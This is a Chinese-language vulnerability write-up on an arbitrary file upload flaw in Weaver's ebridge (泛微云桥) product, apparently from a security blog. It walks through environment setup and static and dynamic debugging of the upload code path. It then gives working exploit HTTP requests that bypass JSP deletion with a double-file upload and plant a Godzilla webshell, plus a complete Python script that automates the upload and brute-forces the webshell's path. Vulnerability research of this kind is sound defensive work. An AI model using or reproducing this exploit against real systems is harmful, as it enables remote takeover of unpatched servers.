漏洞简介
2024 年 8 月份新出漏洞,泛微云桥任意文件上传漏洞,详情如图所示。
环境搭建
1、下载漏洞环境。
https://wx.weaver.com.cn/download
2、运行install64.bat,安装环境。
3、安装成功界面。
未安装补丁,系统不能使用,但漏洞可正常测试。
4、补丁安装下载这个。
安装要求:
代码审计
业务代码存在于:/Desktop/ebridge/tomcat/webapps/ROOT/WEB-INF/weaver/
静态代码分析
- 入口点路由
包路径:weaver.weixin.app.recruit.controller
路由:@ActionKey(“/wxclient/app/recruit/resume/addResume”)#addResume()
public void addResume() throws Exception {
try {
// 从请求中获取上传文件,并限制文件大小为2M
WxBaseFile wbFile = this.getWxBaseFile(this.wxBaseFileService, this.getPara("fileElementId"), (String)null, 2097152, (String)null);
// 从请求参数中获取简历模型
ResumeModel model = (ResumeModel)this.getModel(ResumeModel.class, "resume");
// 如果获取到了上传的文件,则将文件 ID 设置到简历模型的 "accessory" 字段中
if (wbFile != null) {
model.set("accessory", wbFile.getId());
}
// 调用简历服务的添加简历方法,传递简历模型和 sysagentid 参数
if (this.resumeService.addResume(model, this.getPara("sysagentid"))) {
// 如果添加成功,则返回成功的 JSON 消息
this.renderJsonMsgForIE("提交成功", true);
} else {
// 如果添加失败,则返回失败的 JSON 消息
this.renderJsonMsgForIE("提交失败", false);
}
- 调用getWxBaseFile()方法
通过 jd-gui (可以编译后字节码文件中搜索)查找getWxBaseFile()方法。
public WxBaseFile getWxBaseFile(WxBaseFileService wxBaseFileService, String parameterName, String filePath, int fileMaxSize, String fileEncoding)
throws Exception
{
// 检查 'filePath' 是否为空。如果为空,则使用 'FileUploadTools.getRandomFilePath()' 方法生成一个随机的文件路径,否则使用提供的 'filePath'。
String _filePath = StrKit.isBlank(filePath) ? FileUploadTools.getRandomFilePath() : filePath;
// 检查 'fileMaxSize' 是否为 -1。如果是,则使用 'FileUploadTools.getMaxSize()' 方法获取最大文件大小,否则使用提供的 'fileMaxSize'。
int _fileMaxSize = fileMaxSize == -1 ? FileUploadTools.getMaxSize() : fileMaxSize;
// 检查 'fileEncoding' 是否为空。如果为空,则使用 'FileUploadTools.getEncoding()' 方法获取默认文件编码,否则使用提供的 'fileEncoding'。
String _fileEncoding = StrKit.isBlank(fileEncoding) ? FileUploadTools.getEncoding() : fileEncoding;
UploadFile uf = null;
try {
// !!!使用 'getFile' 方法获取文件,传入 'parameterName'、'_filePath'、'_fileMaxSize' 和 '_fileEncoding' 作为参数。
uf = getFile(parameterName, _filePath, Integer.valueOf(_fileMaxSize), _fileEncoding);
}
catch (Exception e) {
throw e;
}
// 使用 'wxBaseFileService' 的 'parseUploadFile' 方法解析上传文件,并传入 'uf' (UploadFile) 对象。
return parseUploadFile(wxBaseFileService, uf);
}
- 调用getFile()方法
直接 command + 鼠标点击即可跳转到 getFiles() 方法。
- getFiles() -> new MultipartRequest(xxxxx)
- MultipartRequest() -> wrapMultipartRequest()
- wrapMultipartRequest() -> new com.oreilly.servlet.MultipartRequest(xxxxx)
- MultipartRequest()
继续往下。
文件写入操作。
filePart.writeTo(dir) --> new BufferedOutputStream (new File0utputStream (file)); 调用文件输出流写入文件。
动态调试准备
1)先停止ebridge_tomcat服务。
2)将打开调试端口的代码放入 tomcat 中的 starup.bat(\ebridge\tomcat\bin)文件中。
SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005
3)启动 startup.bat,成功开放调试端口 5005。
4)idea 配置远程调试。
本地使用 idea 打开项目文件。
5)将依赖库加入项目。
6)客户端 jdk 要跟服务端对应。
服务端:
7)尝试连接调试端口。
连接成功。
8)在漏洞代码位置打个断点,点击小蜘蛛。
发送漏洞数据包,成功在断点处停止。
动态调试分析
觉得有可以分析的点,就在哪里打断点,然后再发包,到这步看看。🏁
文件输出流。
发送双文件写入数据包,发现 2222222222.jsp 被删除了。
双文件上传绕过 jsp 文件删除检测,其实是JFinal依赖包的漏洞。
详见:https://mp.weixin.qq.com/s/gx1qQnOPUIMCia-By5QHlA
总结
- 静态分析代码流程:先看方法有没有声明,没有声明使用 jd-gui 反编译工具 search 搜索要跳转的类方法,定位到后再去 idea 里查看有无声明,再无声明可结合 jd-gui、jar-analyzer工具搜索查找。
- 动态分析:每一步都可以打断点动态分析一下,可以随时在每一步骤中用到的方法进行断点分析。
漏洞利用
1、查看补丁号方法:http://172.16.199.142:8088/main/verinfo(图为安全版本)
2、双文件上传绕过删除.jsp文件功能,默认会删除222222.jsp,需要把要上传的文件内容放入第一个 jsp 中。
POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: 172.16.199.134:8088
Content-Length: 358
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="111111.jsp"
Content-Type: application/octet-stream
111
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="222222.jsp"
Content-Type: application/octet-stream
222
------WebKitFormBoundaryD5Mawpg068t7pbxZ--
3、传入哥斯拉webshell。
webshell:http://172.16.199.134:8088/upload/202408/G/images.%6a%73%70
POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: 172.16.199.134:8088
Content-Length: 3141
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="images1.jsp"
Content-Type: application/octet-stream
webshell
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="images2.jsp"
Content-Type: application/octet-stream
123
------WebKitFormBoundaryD5Mawpg068t7pbxZ--
访问 webshell,后缀 url 编码下才可正常访问。
注意路径中的大写字母,老版本随机大写字母 1 位,新版本随机大写字母 2位数。
自动化利用
由于在文件上传利用后需要爆破上传路径,此处编写 python 脚本进行自动化利用。
import argparse
import sys
import requests
from datetime import datetime
import time
import string
import urllib.request
import urllib.error
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'https://127.0.0.1:8080'
}
def request_post(host, timestamp):
url = host + "/wxclient/app/recruit/resume/addResume?fileElementId=H"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36',
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ',
}
shell = r'hello' #在此处替换文件上传内容
body = '''------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="{0}.jsp"
Content-Type: application/octet-stream
{1}
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="2222222222.jsp"
Content-Type: application/octet-stream
123
------WebKitFormBoundaryD5Mawpg068t7pbxZ--'''.format(timestamp, shell)
response = requests.post(url, headers=headers, data=body, verify=False)
print("[*] 文件上传完成。")
def urllib_request(webshell):
split_string = webshell.split("/")
host = "/".join(split_string[2:3])
headers = {
'Host': host,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36',
'Accept': '*/*',
'Connection': 'close'
}
try:
req = urllib.request.Request(webshell, headers=headers)
response = urllib.request.urlopen(req)
# print(response.read().decode('iso-8859-1'))
# print(webshell)
# print(response.status)
if response.status == 200:
print("[+] Webshell: " + webshell)
sys.exit("[*] 已匹配 webshel(哥斯拉/imageType/pass/key)。")
except urllib.error.URLError as e:
pass
def main():
banner = """
泛微云文件上传桥漏洞脚本的 banner
---202408
"""
print(banner)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Target URL: Example: http(s)://ip:port。")
args = parser.parse_args()
if args.url != None:
if args.url.endswith('/'):
args.url = args.url.rstrip('/')
timestamp = int(time.time())
request_post(args.url, timestamp)
now = datetime.now()
year = now.year
month = now.month
formatted_date = f"{year:04d}{month:02d}"
uppercase_letters = string.ascii_uppercase
for letter in uppercase_letters:
# print(letter)
webshell = args.url + "/upload/" + formatted_date + "/" + letter + "/" + str(timestamp) + ".js%70"
urllib_request(webshell)
time.sleep(0.1)
for letter1 in uppercase_letters:
for letter2 in uppercase_letters:
letters = letter1 + letter2
webshell = args.url + "/upload/" + formatted_date + "/" + letters + "/" + str(timestamp) + ".js%70"
urllib_request(webshell)
time.sleep(0.1)
print("[-] 未找到Webshell。")
if __name__ == "__main__":
main()
参考
https://mp.weixin.qq.com/s/_XGhSWT0k_prUbhRZ5MmrQ 分析文章
https://mp.weixin.qq.com/s/v9uyL_Vm8s4oAkfdZuoZFA 攻击复现
https://blog.csdn.net/qq_45533926/article/details/108246922 双文件上传